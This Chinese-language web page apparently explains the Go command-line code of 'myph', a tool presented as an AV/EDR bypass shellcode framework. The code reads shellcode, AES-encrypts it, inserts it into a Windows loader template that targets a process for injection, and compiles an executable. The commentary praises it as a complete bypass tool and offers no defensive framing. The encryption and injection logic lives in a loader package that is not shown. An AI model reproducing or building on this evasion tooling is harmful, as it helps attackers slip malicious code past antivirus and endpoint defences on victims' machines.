该代码是一个命令行界面的程序,用于创建和加密 shellcode,以及进行 AV/EDR 绕过。代码分为两个部分,第一个部分是导入所需的包,第二个部分是定义一个 GetParser 函数来返回一个 cobra.Command 结构体,该结构体包含了可执行的命令。

package cli

import (
	"fmt"
	"github.com/cmepw/myph/loader"   // 加载 shellcode 的包
	"github.com/spf13/cobra"        // 命令行库
	"os"
)

func GetParser(opts *Options) *cobra.Command {   // 函数 GetParser 返回一个命令行结构体
	version := "0.0.1"
	var cmd = &cobra.Command{   // 初始化一个命令行结构体
		Use:                "myph",   // 命令行的名称
		Version:            version,   // 版本号
		DisableSuggestions: true,   // 禁用命令行建议
		Short:              "AV bypass shellcode creation framework",   // 命令行简短介绍
		Long:               `CLI to prepare your shellcode and do AV/EDR bypass`,   // 命令行详细介绍
		Run: func(cmd *cobra.Command, args []string) {   // 命令行执行的函数

			if opts.ShellcodePath == "" {   // 如果没有指定 shellcode 的路径
				fmt.Println("[!] Please specify your shellcode's path with --shellcode")
				os.Exit(1)
			}

			plaintext_payload, err := loader.ReadFile(opts.ShellcodePath)   // 读取 shellcode
			if err != nil {
				fmt.Printf("[!] Read shellcode error: %s\n", err.Error())
				os.Exit(1)
			}

			fmt.Println("[+] Successfully read shellcode")
			payload, err := loader.Encrypt(opts.AesKey, plaintext_payload)   // 加密 shellcode
			if err != nil {
				fmt.Println(err.Error())
				os.Exit(1)
			}

			os.Setenv("GOOS", opts.OS)   // 设置编译环境
			os.Setenv("GOARCH", opts.arch)
			s := loader.Shellcode{   // 定义一个 Shellcode 结构体
				Payload:  payload,   // 加密后的 shellcode
				Filename: opts.Outfile,   // 输出文件名
				AesKey:   []byte(opts.AesKey),   // AES 密钥
				Target:   opts.Target,   // 目标进程
			}

			fmt.Println("[+] Encrypted shellcode with AES key")
			toCompile := loader.LoadWindowsTemplate(s)   // 加载 Windows 模板
			err = loader.WriteToTempfile(toCompile)   // 写入到临时文件
			if err != nil {
				fmt.Printf("Write error: %s\n", err.Error())
				os.Exit(1)
			}

			fmt.Println("[+] loaded Windows template")

			/* run compilation */
			loader.Compile(s)   // 编译 shellcode
		},
	}

	defaults := GetDefaultCLIOptions()   // 获取默认的 CLI 选项

	cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "f", defaults.Outfile, "output filepath")   // 定义输出文件路径
	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")   // 定义 shellcode 路径
	cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")   // 定义 AES 密钥
	cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")   // 定义编译目标架构
	cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")   // 定义编译目标 OS
	cmd.PersistentFlags().StringVarP(&opts.Target, "target-process", "t", defaults.Target, "target for process injection")   // 定义目标进程

	return cmd   // 返回命令行结构体
}

该代码使用了以下库:

  • loader:用于加载、加密和编译 shellcode。
  • cobra:用于构建命令行界面。

功能说明:

  1. 读取 shellcode 文件:从指定路径读取 shellcode 文件内容。
  2. 加密 shellcode:使用 AES 算法对 shellcode 进行加密。
  3. 设置编译环境:设置编译目标操作系统和架构。
  4. 加载 Windows 模板:加载预定义的 Windows 模板,用于生成最终的 shellcode 文件。
  5. 写入临时文件:将生成的 shellcode 文件写入临时文件。
  6. 编译 shellcode:编译 shellcode 文件,生成可执行文件。

代码分析:

  1. GetParser 函数
    • 返回一个 cobra.Command 结构体,该结构体包含了命令行的配置信息和执行逻辑。
    • 定义命令行的名称、版本号、简短介绍、详细介绍等信息。
    • 定义一个 Run 函数,该函数会在命令执行时被调用。
  2. Run 函数
    • 检查是否指定了 shellcode 的路径。
    • 读取 shellcode 文件内容。
    • 加密 shellcode。
    • 设置编译环境。
    • 加载 Windows 模板。
    • 写入临时文件。
    • 编译 shellcode。
  3. 命令行参数
    • 定义了几个命令行参数,用于指定 shellcode 的路径、AES 密钥、编译目标操作系统和架构、目标进程等信息。

总结:

该代码提供了一个完整的命令行工具,用于创建和加密 shellcode,并实现 AV/EDR 绕过。代码使用 Cobra 库构建命令行界面,并借助 loader 包进行 Shellcode 加载、加密和编译。代码中还包含了详细的注释,方便开发者理解代码的功能和逻辑。

Go 语言命令行工具:创建和加密 Shellcode,实现 AV/EDR 绕过

原文地址: https://www.cveoy.top/t/topic/lXs6 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录